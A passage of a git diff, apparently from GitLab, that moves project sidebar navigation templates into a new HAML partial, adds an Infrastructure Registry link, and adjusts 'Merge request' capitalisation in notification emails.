- = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases, :pipeline_editor], html_options: { class: "fly-out-top-item" }) do
- = link_to project_pipelines_path(@project) do
- %strong.fly-out-top-item-name
- = _('CI/CD')
- %li.divider.fly-out-top-item
- - if project_nav_tab? :pipelines
- = nav_link(path: ['pipelines#index', 'pipelines#show']) do
- = link_to project_pipelines_path(@project), title: _('Pipelines'), class: 'shortcuts-pipelines' do
- %span
- = _('Pipelines')
-
- - if can_view_pipeline_editor?(@project)
- = nav_link(controller: :pipeline_editor, action: :show) do
- = link_to project_ci_pipeline_editor_path(@project), title: s_('Pipelines|Editor') do
- %span
- = s_('Pipelines|Editor')
-
- - if project_nav_tab? :builds
- = nav_link(controller: :jobs) do
- = link_to project_jobs_path(@project), title: _('Jobs'), class: 'shortcuts-builds' do
- %span
- = _('Jobs')
-
- - if Feature.enabled?(:artifacts_management_page, @project)
- = nav_link(controller: :artifacts, action: :index) do
- = link_to project_artifacts_path(@project), title: _('Artifacts'), class: 'shortcuts-builds' do
- %span
- = _('Artifacts')
-
- - if project_nav_tab?(:pipelines)
- = nav_link(controller: :pipeline_schedules) do
- = link_to pipeline_schedules_path(@project), title: _('Schedules'), class: 'shortcuts-builds' do
- %span
- = _('Schedules')
-
- = render_if_exists "layouts/nav/test_cases_link", project: @project
-
- - if project_nav_tab? :security_and_compliance
- = render_if_exists 'layouts/nav/sidebar/project_security_link' # EE-specific
-
- - if project_nav_tab? :operations
- = nav_link(controller: sidebar_operations_paths) do
- = link_to sidebar_operations_link_path, class: 'shortcuts-operations', data: { qa_selector: 'operations_link' } do
- .nav-icon-container
- = sprite_icon('cloud-gear')
- %span.nav-item-name
- = _('Operations')
-
- %ul.sidebar-sub-level-items
- = nav_link(controller: sidebar_operations_paths, html_options: { class: "fly-out-top-item" } ) do
- = link_to sidebar_operations_link_path do
- %strong.fly-out-top-item-name
- = _('Operations')
- %li.divider.fly-out-top-item
-
- - if project_nav_tab? :metrics_dashboards
- = nav_link(controller: :metrics_dashboard, action: [:show]) do
- = link_to project_metrics_dashboard_path(@project), title: _('Metrics'), class: 'shortcuts-metrics', data: { qa_selector: 'operations_metrics_link' } do
- %span
- = _('Metrics')
-
- - if project_nav_tab?(:environments) && can?(current_user, :read_pod_logs, @project)
- = nav_link(controller: :logs, action: [:index]) do
- = link_to project_logs_path(@project), title: _('Logs') do
- %span
- = _('Logs')
-
- - if project_nav_tab? :environments
- = render "layouts/nav/sidebar/tracing_link"
-
- - if project_nav_tab?(:error_tracking)
- = nav_link(controller: :error_tracking) do
- = link_to project_error_tracking_index_path(@project), title: _('Error Tracking') do
- %span
- = _('Error Tracking')
-
- - if project_nav_tab?(:alert_management)
- = nav_link(controller: :alert_management) do
- = link_to project_alert_management_index_path(@project), title: _('Alerts') do
- %span
- = _('Alerts')
-
- - if project_nav_tab?(:incidents)
- = nav_link(controller: :incidents) do
- = link_to project_incidents_path(@project), title: _('Incidents'), data: { qa_selector: 'operations_incidents_link' } do
- %span
- = _('Incidents')
-
- = render_if_exists 'projects/sidebar/oncall_schedules'
-
- - if project_nav_tab? :serverless
- = nav_link(controller: :functions) do
- = link_to project_serverless_functions_path(@project), title: _('Serverless') do
- %span
- = _('Serverless')
-
- - if project_nav_tab? :terraform
- = nav_link(controller: :terraform) do
- = link_to project_terraform_index_path(@project), title: _('Terraform') do
- %span
- = _('Terraform')
-
- - if project_nav_tab? :clusters
- - show_cluster_hint = show_gke_cluster_integration_callout?(@project)
- = nav_link(controller: [:cluster_agents, :clusters]) do
- = link_to project_clusters_path(@project), title: _('Kubernetes'), class: 'shortcuts-kubernetes' do
- %span
- = _('Kubernetes')
- - if show_cluster_hint
- .js-feature-highlight{ disabled: true,
- data: { trigger: 'manual',
- container: 'body',
- placement: 'right',
- highlight: UserCalloutsHelper::GKE_CLUSTER_INTEGRATION,
- highlight_priority: UserCallout.feature_names[:GKE_CLUSTER_INTEGRATION],
- dismiss_endpoint: user_callouts_path,
- auto_devops_help_path: help_page_path('topics/autodevops/index.md') } }
- - if project_nav_tab? :environments
- = nav_link(controller: :environments, action: [:index, :folder, :show, :new, :edit, :create, :update, :stop, :terminal]) do
- = link_to project_environments_path(@project), title: _('Environments'), class: 'shortcuts-environments qa-operations-environments-link' do
- %span
- = _('Environments')
-
- - if project_nav_tab? :feature_flags
- = nav_link(controller: :feature_flags) do
- = link_to project_feature_flags_path(@project), title: _('Feature Flags'), class: 'shortcuts-feature-flags' do
- %span
- = _('Feature Flags')
-
- - if project_nav_tab?(:product_analytics)
- = nav_link(controller: :product_analytics) do
- = link_to project_product_analytics_path(@project), title: _('Product Analytics') do
- %span
- = _('Product Analytics')
-
- = render_if_exists 'layouts/nav/sidebar/project_packages_link'
-
- - if project_nav_tab? :analytics
- = render 'layouts/nav/sidebar/analytics_links', links: project_analytics_navbar_links(@project, current_user)
-
- - if project_nav_tab?(:confluence)
- - confluence_url = project_wikis_confluence_path(@project)
- = nav_link do
- = link_to confluence_url, class: 'shortcuts-confluence' do
- .nav-icon-container
- = image_tag 'confluence.svg', alt: _('Confluence')
- %span.nav-item-name
- = _('Confluence')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(html_options: { class: 'fly-out-top-item' } ) do
- = link_to confluence_url, target: '_blank', rel: 'noopener noreferrer' do
- %strong.fly-out-top-item-name
- = _('Confluence')
-
- - if project_nav_tab? :wiki
- = render 'layouts/nav/sidebar/wiki_link', wiki_url: wiki_path(@project.wiki)
-
- - if project_nav_tab?(:external_wiki)
- - external_wiki_url = @project.external_wiki.external_wiki_url
- = nav_link do
- = link_to external_wiki_url, class: 'shortcuts-external_wiki' do
- .nav-icon-container
- = sprite_icon('external-link')
- %span.nav-item-name
- = _('External Wiki')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(html_options: { class: "fly-out-top-item" } ) do
- = link_to external_wiki_url do
- %strong.fly-out-top-item-name
- = _('External Wiki')
-
- - if project_nav_tab? :snippets
- = nav_link(controller: :snippets) do
- = link_to project_snippets_path(@project), class: 'shortcuts-snippets', data: { qa_selector: 'snippets_link' } do
- .nav-icon-container
- = sprite_icon('snippet')
- %span.nav-item-name
- = _('Snippets')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :snippets, html_options: { class: "fly-out-top-item" } ) do
- = link_to project_snippets_path(@project) do
- %strong.fly-out-top-item-name
- = _('Snippets')
-
- = nav_link(controller: :project_members) do
- = link_to project_project_members_path(@project), title: _('Members'), class: 'qa-members-link', id: 'js-onboarding-members-link' do
- .nav-icon-container
- = sprite_icon('users')
- %span.nav-item-name
- = _('Members')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(path: %w[members#show], html_options: { class: "fly-out-top-item" } ) do
- = link_to project_project_members_path(@project) do
- %strong.fly-out-top-item-name
- = _('Members')
-
- - if project_nav_tab? :settings
- = nav_link(path: sidebar_settings_paths) do
- = link_to edit_project_path(@project) do
- .nav-icon-container
- = sprite_icon('settings')
- %span.nav-item-name.qa-settings-item#js-onboarding-settings-link
- = _('Settings')
-
- %ul.sidebar-sub-level-items
- - can_edit = can?(current_user, :admin_project, @project)
- - if can_edit
- = nav_link(path: sidebar_settings_paths, html_options: { class: "fly-out-top-item" } ) do
- = link_to edit_project_path(@project) do
- %strong.fly-out-top-item-name
- = _('Settings')
- %li.divider.fly-out-top-item
- = nav_link(path: %w[projects#edit]) do
- = link_to edit_project_path(@project), title: _('General'), class: 'qa-general-settings-link' do
- %span
- = _('General')
- - if can_edit
- = nav_link(controller: [:integrations, :services]) do
- = link_to project_settings_integrations_path(@project), title: _('Integrations'), data: { qa_selector: 'integrations_settings_link' } do
- %span
- = _('Integrations')
- = nav_link(controller: [:hooks, :hook_logs]) do
- = link_to project_hooks_path(@project), title: _('Webhooks'), data: { qa_selector: 'webhooks_settings_link' } do
- %span
- = _('Webhooks')
- - if project_access_token_available?(@project)
- = nav_link(controller: [:access_tokens]) do
- = link_to project_settings_access_tokens_path(@project), title: _('Access Tokens'), data: { qa_selector: 'access_tokens_settings_link' } do
- %span
- = _('Access Tokens')
- = nav_link(controller: :repository) do
- = link_to project_settings_repository_path(@project), title: _('Repository') do
- %span
- = _('Repository')
- - if !@project.archived? && @project.feature_available?(:builds, current_user)
- = nav_link(controller: :ci_cd) do
- = link_to project_settings_ci_cd_path(@project), title: _('CI/CD') do
- %span
- = _('CI/CD')
- - if settings_operations_available?
- = nav_link(controller: [:operations]) do
- = link_to project_settings_operations_path(@project), title: _('Operations'), data: { qa_selector: 'operations_settings_link' } do
- = _('Operations')
- - if @project.pages_available?
- = nav_link(controller: :pages) do
- = link_to project_pages_path(@project), title: _('Pages') do
- %span
- = _('Pages')
-
- -# Shortcut to Project > Activity
- %li.hidden
- = link_to activity_project_path(@project), title: _('Activity'), class: 'shortcuts-project-activity' do
- %span
- = _('Activity')
-
- -# Shortcut to Repository > Graph (formerly, Network)
- - if project_nav_tab? :network
- %li.hidden
- = link_to project_network_path(@project, current_ref), title: _('Network'), class: 'shortcuts-network' do
- = _('Graph')
-
- -# Shortcut to Issues > New Issue
- - if project_nav_tab?(:issues)
- %li.hidden
- = link_to new_project_issue_path(@project), class: 'shortcuts-new-issue' do
- = _('Create a new issue')
-
- -# Shortcut to Pipelines > Jobs
- - if project_nav_tab? :builds
- %li.hidden
- = link_to project_jobs_path(@project), title: _('Jobs'), class: 'shortcuts-builds' do
- = _('Jobs')
-
- -# Shortcut to commits page
- - if project_nav_tab? :commits
- %li.hidden
- = link_to project_commits_path(@project), title: _('Commits'), class: 'shortcuts-commits' do
- = _('Commits')
-
- -# Shortcut to issue boards
- - if project_nav_tab?(:issues)
- %li.hidden
- = link_to _('Issue Boards'), project_boards_path(@project), title: _('Issue Boards'), class: 'shortcuts-issue-boards'
-
- = render 'shared/sidebar_toggle_button'
+-# We're migration the project sidebar to a logical model based structure. If you need to update
+-# any of the existing menus, you can find them in app/views/layouts/nav/sidebar/_project_menus.html.haml.
+= render partial: 'shared/nav/sidebar', object: Sidebars::Projects::Panel.new(project_sidebar_context(@project, current_user))
diff --git a/app/views/layouts/nav/sidebar/_project_menus.html.haml b/app/views/layouts/nav/sidebar/_project_menus.html.haml
new file mode 100644
index 00000000000..8f2da398164
--- /dev/null
+++ b/app/views/layouts/nav/sidebar/_project_menus.html.haml
@@ -0,0 +1,424 @@
+- if project_nav_tab? :files
+ = nav_link(controller: sidebar_repository_paths, unless: -> { current_path?('projects/graphs#charts') }) do
+ = link_to project_tree_path(@project), class: 'shortcuts-tree', data: { qa_selector: "repository_link" } do
+ .nav-icon-container
+ = sprite_icon('doc-text')
+ %span.nav-item-name#js-onboarding-repo-link
+ = _('Repository')
+
+ %ul.sidebar-sub-level-items
+ = nav_link(controller: sidebar_repository_paths, html_options: { class: "fly-out-top-item" } ) do
+ = link_to project_tree_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Repository')
+ %li.divider.fly-out-top-item
+ = nav_link(controller: %w(tree blob blame edit_tree new_tree find_file)) do
+ = link_to project_tree_path(@project) do
+ = _('Files')
+
+ = nav_link(controller: [:commit, :commits]) do
+ = link_to project_commits_path(@project, current_ref), id: 'js-onboarding-commits-link' do
+ = _('Commits')
+
+ = nav_link(html_options: {class: branches_tab_class}) do
+ = link_to project_branches_path(@project), data: { qa_selector: "branches_link" }, id: 'js-onboarding-branches-link' do
+ = _('Branches')
+
+ = nav_link(controller: [:tags]) do
+ = link_to project_tags_path(@project), data: { qa_selector: "tags_link" } do
+ = _('Tags')
+
+ = nav_link(path: 'graphs#show') do
+ = link_to project_graph_path(@project, current_ref) do
+ = _('Contributors')
+
+ = nav_link(controller: %w(network)) do
+ = link_to project_network_path(@project, current_ref) do
+ = _('Graph')
+
+ = nav_link(controller: :compare) do
+ = link_to project_compare_index_path(@project, from: @repository.root_ref, to: current_ref) do
+ = _('Compare')
+
+ = render_if_exists 'projects/sidebar/repository_locked_files'
+
+- if project_nav_tab? :issues
+ = nav_link(controller: @project.issues_enabled? ? ['projects/issues', :labels, :milestones, :boards, :iterations] : 'projects/issues') do
+ = link_to project_issues_path(@project), class: 'shortcuts-issues qa-issues-item' do
+ .nav-icon-container
+ = sprite_icon('issues')
+ %span.nav-item-name#js-onboarding-issues-link
+ = _('Issues')
+ - if @project.issues_enabled?
+ %span.badge.badge-pill.count.issue_counter
+ = number_with_delimiter(@project.open_issues_count(current_user))
+
+ %ul.sidebar-sub-level-items
+ = nav_link(controller: 'projects/issues', action: :index, html_options: { class: "fly-out-top-item" } ) do
+ = link_to project_issues_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Issues')
+ - if @project.issues_enabled?
+ %span.badge.badge-pill.count.issue_counter.fly-out-badge
+ = number_with_delimiter(@project.open_issues_count(current_user))
+ %li.divider.fly-out-top-item
+ = nav_link(controller: :issues, action: :index) do
+ = link_to project_issues_path(@project), title: _('Issues') do
+ %span
+ = _('List')
+
+ = nav_link(controller: :boards) do
+ = link_to project_boards_path(@project), title: boards_link_text, data: { qa_selector: "issue_boards_link" } do
+ %span
+ = boards_link_text
+
+ = nav_link(controller: :labels) do
+ = link_to project_labels_path(@project), title: _('Labels'), class: 'qa-labels-link' do
+ %span
+ = _('Labels')
+
+ = render 'projects/sidebar/issues_service_desk'
+
+ = nav_link(controller: :milestones) do
+ = link_to project_milestones_path(@project), title: _('Milestones'), class: 'qa-milestones-link' do
+ %span
+ = _('Milestones')
+
+ = render_if_exists 'layouts/nav/sidebar/project_iterations_link'
+
+- if project_nav_tab?(:external_issue_tracker)
+ - issue_tracker = @project.external_issue_tracker
+ - if issue_tracker.is_a?(JiraService) && project_jira_issues_integration?
+ = render_if_exists 'layouts/nav/sidebar/project_jira_issues_link', issue_tracker: issue_tracker
+ - else
+ = nav_link do
+ = link_to issue_tracker.issue_tracker_path, target: '_blank', rel: 'noopener noreferrer', class: 'shortcuts-external_tracker' do
+ .nav-icon-container
+ = sprite_icon('external-link')
+ %span.nav-item-name
+ = issue_tracker.title
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(html_options: { class: "fly-out-top-item" } ) do
+ = link_to issue_tracker.issue_tracker_path, target: '_blank', rel: 'noopener noreferrer' do
+ %strong.fly-out-top-item-name
+ = issue_tracker.title
+
+- if (project_nav_tab? :labels) && !@project.issues_enabled?
+ = nav_link(controller: [:labels]) do
+ = link_to project_labels_path(@project), title: _('Labels'), class: 'shortcuts-labels qa-labels-items' do
+ .nav-icon-container
+ = sprite_icon('label')
+ %span.nav-item-name#js-onboarding-labels-link
+ = _('Labels')
+
+- if project_nav_tab? :merge_requests
+ = nav_link(controller: @project.issues_enabled? ? :merge_requests : [:merge_requests, :milestones]) do
+ = link_to project_merge_requests_path(@project), class: 'shortcuts-merge_requests', data: { qa_selector: 'merge_requests_link' } do
+ .nav-icon-container
+ = sprite_icon('git-merge')
+ %span.nav-item-name#js-onboarding-mr-link
+ = _('Merge requests')
+ %span.badge.badge-pill.count.merge_counter.js-merge-counter
+ = number_with_delimiter(@project.open_merge_requests_count)
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(controller: :merge_requests, html_options: { class: "fly-out-top-item" } ) do
+ = link_to project_merge_requests_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Merge requests')
+ %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge
+ = number_with_delimiter(@project.open_merge_requests_count)
+
+= render_if_exists "layouts/nav/requirements_link", project: @project
+
+- if project_nav_tab? :pipelines
+ = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases, :pipeline_editor], unless: -> { current_path?('projects/pipelines#charts') }) do
+ = link_to project_pipelines_path(@project), class: 'shortcuts-pipelines qa-link-pipelines rspec-link-pipelines', data: { qa_selector: 'ci_cd_link' } do
+ .nav-icon-container
+ = sprite_icon('rocket')
+ %span.nav-item-name#js-onboarding-pipelines-link
+ = _('CI/CD')
+
+ %ul.sidebar-sub-level-items
+ = nav_link(controller: [:pipelines, :builds, :jobs, :pipeline_schedules, :artifacts, :test_cases, :pipeline_editor], html_options: { class: "fly-out-top-item" }) do
+ = link_to project_pipelines_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('CI/CD')
+ %li.divider.fly-out-top-item
+ - if project_nav_tab? :pipelines
+ = nav_link(path: ['pipelines#index', 'pipelines#show']) do
+ = link_to project_pipelines_path(@project), title: _('Pipelines'), class: 'shortcuts-pipelines' do
+ %span
+ = _('Pipelines')
+
+ - if can_view_pipeline_editor?(@project)
+ = nav_link(controller: :pipeline_editor, action: :show) do
+ = link_to project_ci_pipeline_editor_path(@project), title: s_('Pipelines|Editor') do
+ %span
+ = s_('Pipelines|Editor')
+
+ - if project_nav_tab? :builds
+ = nav_link(controller: :jobs) do
+ = link_to project_jobs_path(@project), title: _('Jobs'), class: 'shortcuts-builds' do
+ %span
+ = _('Jobs')
+
+ - if Feature.enabled?(:artifacts_management_page, @project)
+ = nav_link(controller: :artifacts, action: :index) do
+ = link_to project_artifacts_path(@project), title: _('Artifacts'), class: 'shortcuts-builds' do
+ %span
+ = _('Artifacts')
+
+ - if project_nav_tab?(:pipelines)
+ = nav_link(controller: :pipeline_schedules) do
+ = link_to pipeline_schedules_path(@project), title: _('Schedules'), class: 'shortcuts-builds' do
+ %span
+ = _('Schedules')
+
+ = render_if_exists "layouts/nav/test_cases_link", project: @project
+
+- if project_nav_tab? :security_and_compliance
+ = render_if_exists 'layouts/nav/sidebar/project_security_link' # EE-specific
+
+- if project_nav_tab? :operations
+ = nav_link(controller: sidebar_operations_paths) do
+ = link_to sidebar_operations_link_path, class: 'shortcuts-operations', data: { qa_selector: 'operations_link' } do
+ .nav-icon-container
+ = sprite_icon('cloud-gear')
+ %span.nav-item-name
+ = _('Operations')
+
+ %ul.sidebar-sub-level-items
+ = nav_link(controller: sidebar_operations_paths, html_options: { class: "fly-out-top-item" } ) do
+ = link_to sidebar_operations_link_path do
+ %strong.fly-out-top-item-name
+ = _('Operations')
+ %li.divider.fly-out-top-item
+
+ - if project_nav_tab? :metrics_dashboards
+ = nav_link(controller: :metrics_dashboard, action: [:show]) do
+ = link_to project_metrics_dashboard_path(@project), title: _('Metrics'), class: 'shortcuts-metrics', data: { qa_selector: 'operations_metrics_link' } do
+ %span
+ = _('Metrics')
+
+ - if project_nav_tab?(:environments) && can?(current_user, :read_pod_logs, @project)
+ = nav_link(controller: :logs, action: [:index]) do
+ = link_to project_logs_path(@project), title: _('Logs') do
+ %span
+ = _('Logs')
+
+ - if project_nav_tab? :environments
+ = render "layouts/nav/sidebar/tracing_link"
+
+ - if project_nav_tab?(:error_tracking)
+ = nav_link(controller: :error_tracking) do
+ = link_to project_error_tracking_index_path(@project), title: _('Error Tracking') do
+ %span
+ = _('Error Tracking')
+
+ - if project_nav_tab?(:alert_management)
+ = nav_link(controller: :alert_management) do
+ = link_to project_alert_management_index_path(@project), title: _('Alerts') do
+ %span
+ = _('Alerts')
+
+ - if project_nav_tab?(:incidents)
+ = nav_link(controller: :incidents) do
+ = link_to project_incidents_path(@project), title: _('Incidents'), data: { qa_selector: 'operations_incidents_link' } do
+ %span
+ = _('Incidents')
+
+ = render_if_exists 'projects/sidebar/oncall_schedules'
+
+ - if project_nav_tab? :serverless
+ = nav_link(controller: :functions) do
+ = link_to project_serverless_functions_path(@project), title: _('Serverless') do
+ %span
+ = _('Serverless')
+
+ - if project_nav_tab? :terraform
+ = nav_link(controller: :terraform) do
+ = link_to project_terraform_index_path(@project), title: _('Terraform') do
+ %span
+ = _('Terraform')
+
+ - if project_nav_tab? :clusters
+ - show_cluster_hint = show_gke_cluster_integration_callout?(@project)
+ = nav_link(controller: [:cluster_agents, :clusters]) do
+ = link_to project_clusters_path(@project), title: _('Kubernetes'), class: 'shortcuts-kubernetes' do
+ %span
+ = _('Kubernetes')
+ - if show_cluster_hint
+ .js-feature-highlight{ disabled: true,
+ data: { trigger: 'manual',
+ container: 'body',
+ placement: 'right',
+ highlight: UserCalloutsHelper::GKE_CLUSTER_INTEGRATION,
+ highlight_priority: UserCallout.feature_names[:GKE_CLUSTER_INTEGRATION],
+ dismiss_endpoint: user_callouts_path,
+ auto_devops_help_path: help_page_path('topics/autodevops/index.md') } }
+ - if project_nav_tab? :environments
+ = nav_link(controller: :environments, action: [:index, :folder, :show, :new, :edit, :create, :update, :stop, :terminal]) do
+ = link_to project_environments_path(@project), title: _('Environments'), class: 'shortcuts-environments qa-operations-environments-link' do
+ %span
+ = _('Environments')
+
+ - if project_nav_tab? :feature_flags
+ = nav_link(controller: :feature_flags) do
+ = link_to project_feature_flags_path(@project), title: _('Feature Flags'), class: 'shortcuts-feature-flags' do
+ %span
+ = _('Feature Flags')
+
+ - if project_nav_tab?(:product_analytics)
+ = nav_link(controller: :product_analytics) do
+ = link_to project_product_analytics_path(@project), title: _('Product Analytics') do
+ %span
+ = _('Product Analytics')
+
+= render_if_exists 'layouts/nav/sidebar/project_packages_link'
+
+- if project_nav_tab? :analytics
+ = render 'layouts/nav/sidebar/analytics_links', links: project_analytics_navbar_links(@project, current_user)
+
+- if project_nav_tab?(:confluence)
+ - confluence_url = project_wikis_confluence_path(@project)
+ = nav_link do
+ = link_to confluence_url, class: 'shortcuts-confluence' do
+ .nav-icon-container
+ = image_tag 'confluence.svg', alt: _('Confluence')
+ %span.nav-item-name
+ = _('Confluence')
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(html_options: { class: 'fly-out-top-item' } ) do
+ = link_to confluence_url, target: '_blank', rel: 'noopener noreferrer' do
+ %strong.fly-out-top-item-name
+ = _('Confluence')
+
+- if project_nav_tab? :wiki
+ = render 'layouts/nav/sidebar/wiki_link', wiki_url: wiki_path(@project.wiki)
+
+- if project_nav_tab?(:external_wiki)
+ - external_wiki_url = @project.external_wiki.external_wiki_url
+ = nav_link do
+ = link_to external_wiki_url, class: 'shortcuts-external_wiki' do
+ .nav-icon-container
+ = sprite_icon('external-link')
+ %span.nav-item-name
+ = s_('ExternalWikiService|External wiki')
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(html_options: { class: "fly-out-top-item" } ) do
+ = link_to external_wiki_url do
+ %strong.fly-out-top-item-name
+ = s_('ExternalWikiService|External wiki')
+
+- if project_nav_tab? :snippets
+ = nav_link(controller: :snippets) do
+ = link_to project_snippets_path(@project), class: 'shortcuts-snippets', data: { qa_selector: 'snippets_link' } do
+ .nav-icon-container
+ = sprite_icon('snippet')
+ %span.nav-item-name
+ = _('Snippets')
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(controller: :snippets, html_options: { class: "fly-out-top-item" } ) do
+ = link_to project_snippets_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Snippets')
+
+= nav_link(controller: :project_members) do
+ = link_to project_project_members_path(@project), title: _('Members'), class: 'qa-members-link', id: 'js-onboarding-members-link' do
+ .nav-icon-container
+ = sprite_icon('users')
+ %span.nav-item-name
+ = _('Members')
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(path: %w[members#show], html_options: { class: "fly-out-top-item" } ) do
+ = link_to project_project_members_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Members')
+
+- if project_nav_tab? :settings
+ = nav_link(path: sidebar_settings_paths) do
+ = link_to edit_project_path(@project) do
+ .nav-icon-container
+ = sprite_icon('settings')
+ %span.nav-item-name.qa-settings-item#js-onboarding-settings-link
+ = _('Settings')
+
+ %ul.sidebar-sub-level-items
+ - can_edit = can?(current_user, :admin_project, @project)
+ - if can_edit
+ = nav_link(path: sidebar_settings_paths, html_options: { class: "fly-out-top-item" } ) do
+ = link_to edit_project_path(@project) do
+ %strong.fly-out-top-item-name
+ = _('Settings')
+ %li.divider.fly-out-top-item
+ = nav_link(path: %w[projects#edit]) do
+ = link_to edit_project_path(@project), title: _('General'), class: 'qa-general-settings-link' do
+ %span
+ = _('General')
+ - if can_edit
+ = nav_link(controller: [:integrations, :services]) do
+ = link_to project_settings_integrations_path(@project), title: _('Integrations'), data: { qa_selector: 'integrations_settings_link' } do
+ %span
+ = _('Integrations')
+ = nav_link(controller: [:hooks, :hook_logs]) do
+ = link_to project_hooks_path(@project), title: _('Webhooks'), data: { qa_selector: 'webhooks_settings_link' } do
+ %span
+ = _('Webhooks')
+ - if can?(current_user, :read_resource_access_tokens, @project)
+ = nav_link(controller: [:access_tokens]) do
+ = link_to project_settings_access_tokens_path(@project), title: _('Access Tokens'), data: { qa_selector: 'access_tokens_settings_link' } do
+ %span
+ = _('Access Tokens')
+ = nav_link(controller: :repository) do
+ = link_to project_settings_repository_path(@project), title: _('Repository') do
+ %span
+ = _('Repository')
+ - if !@project.archived? && @project.feature_available?(:builds, current_user)
+ = nav_link(controller: :ci_cd) do
+ = link_to project_settings_ci_cd_path(@project), title: _('CI/CD') do
+ %span
+ = _('CI/CD')
+ - if settings_operations_available?
+ = nav_link(controller: [:operations]) do
+ = link_to project_settings_operations_path(@project), title: _('Operations'), data: { qa_selector: 'operations_settings_link' } do
+ = _('Operations')
+ - if @project.pages_available?
+ = nav_link(controller: :pages) do
+ = link_to project_pages_path(@project), title: _('Pages') do
+ %span
+ = _('Pages')
+
+-# Shortcut to Project > Activity
+%li.hidden
+ = link_to activity_project_path(@project), title: _('Activity'), class: 'shortcuts-project-activity' do
+ %span
+ = _('Activity')
+
+-# Shortcut to Repository > Graph (formerly, Network)
+- if project_nav_tab? :network
+ %li.hidden
+ = link_to project_network_path(@project, current_ref), title: _('Network'), class: 'shortcuts-network' do
+ = _('Graph')
+
+-# Shortcut to Issues > New Issue
+- if project_nav_tab?(:issues)
+ %li.hidden
+ = link_to new_project_issue_path(@project), class: 'shortcuts-new-issue' do
+ = _('Create a new issue')
+
+-# Shortcut to Pipelines > Jobs
+- if project_nav_tab? :builds
+ %li.hidden
+ = link_to project_jobs_path(@project), title: _('Jobs'), class: 'shortcuts-builds' do
+ = _('Jobs')
+
+-# Shortcut to commits page
+- if project_nav_tab? :commits
+ %li.hidden
+ = link_to project_commits_path(@project), title: _('Commits'), class: 'shortcuts-commits' do
+ = _('Commits')
+
+-# Shortcut to issue boards
+- if project_nav_tab?(:issues)
+ %li.hidden
+ = link_to _('Issue Boards'), project_boards_path(@project), title: _('Issue Boards'), class: 'shortcuts-issue-boards'
diff --git a/app/views/layouts/nav/sidebar/_project_packages_link.html.haml b/app/views/layouts/nav/sidebar/_project_packages_link.html.haml
index e9989abe5a0..b28468a7969 100644
--- a/app/views/layouts/nav/sidebar/_project_packages_link.html.haml
+++ b/app/views/layouts/nav/sidebar/_project_packages_link.html.haml
@@ -1,14 +1,14 @@
- packages_link = project_nav_tab?(:packages) ? project_packages_path(@project) : project_container_registry_index_path(@project)
- if (project_nav_tab?(:packages) || project_nav_tab?(:container_registry))
- = nav_link controller: [:packages, :repositories] do
+ = nav_link controller: [:packages, :repositories, :infrastructure_registry] do
= link_to packages_link, data: { qa_selector: 'packages_link' } do
.nav-icon-container
= sprite_icon('package')
%span.nav-item-name
= _('Packages & Registries')
%ul.sidebar-sub-level-items
- = nav_link(controller: [:packages, :repositories], html_options: { class: "fly-out-top-item" } ) do
+ = nav_link(controller: [:packages, :repositories, :infrastructure_registry], html_options: { class: "fly-out-top-item" } ) do
= link_to packages_link do
%strong.fly-out-top-item-name
= _('Packages & Registries')
@@ -21,3 +21,7 @@
= nav_link controller: :repositories do
= link_to project_container_registry_index_path(@project), class: 'shortcuts-container-registry', title: _('Container Registry') do
%span= _('Container Registry')
+ - if project_nav_tab? :infrastructure_registry
+ = nav_link controller: :infrastructure_registry do
+ = link_to project_infrastructure_registry_index_path(@project), title: _('Infrastructure Registry') do
+ %span= _('Infrastructure Registry')
diff --git a/app/views/layouts/project_settings.html.haml b/app/views/layouts/project_settings.html.haml
index 93214c2a674..97d9f2fbc78 100644
--- a/app/views/layouts/project_settings.html.haml
+++ b/app/views/layouts/project_settings.html.haml
@@ -1,4 +1,6 @@
- page_title _("Settings")
- nav "project"
+- enable_search_settings locals: { container_class: 'gl-my-5' }
+
= render template: "layouts/project"
diff --git a/app/views/notify/_successful_pipeline.text.erb b/app/views/notify/_successful_pipeline.text.erb
index 628976e2dda..5798a2346fa 100644
--- a/app/views/notify/_successful_pipeline.text.erb
+++ b/app/views/notify/_successful_pipeline.text.erb
@@ -3,7 +3,7 @@
Project: <%= @project.name %> ( <%= project_url(@project) %> )
Branch: <%= @pipeline.source_ref %> ( <%= commits_url(@pipeline) %> )
<% if @merge_request -%>
-Merge Request: <%= @merge_request.to_reference %> ( <%= merge_request_url(@merge_request) %> )
+Merge request: <%= @merge_request.to_reference %> ( <%= merge_request_url(@merge_request) %> )
<% end -%>
Commit: <%= @pipeline.short_sha %> ( <%= commit_url(@pipeline) %> )
diff --git a/app/views/notify/closed_merge_request_email.html.haml b/app/views/notify/closed_merge_request_email.html.haml
index 6caa0e59e8f..749584a7044 100644
--- a/app/views/notify/closed_merge_request_email.html.haml
+++ b/app/views/notify/closed_merge_request_email.html.haml
@@ -1,3 +1,3 @@
%p
- Merge Request #{merge_request_reference_link(@merge_request)}
+ Merge request #{merge_request_reference_link(@merge_request)}
was closed by #{sanitize_name(@updated_by.name)}
diff --git a/app/views/notify/closed_merge_request_email.text.haml b/app/views/notify/closed_merge_request_email.text.haml
index 28766f861d9..942e771261a 100644
--- a/app/views/notify/closed_merge_request_email.text.haml
+++ b/app/views/notify/closed_merge_request_email.text.haml
@@ -1,6 +1,6 @@
-Merge Request #{@merge_request.to_reference} was closed by #{sanitize_name(@updated_by.name)}
+Merge request #{@merge_request.to_reference} was closed by #{sanitize_name(@updated_by.name)}
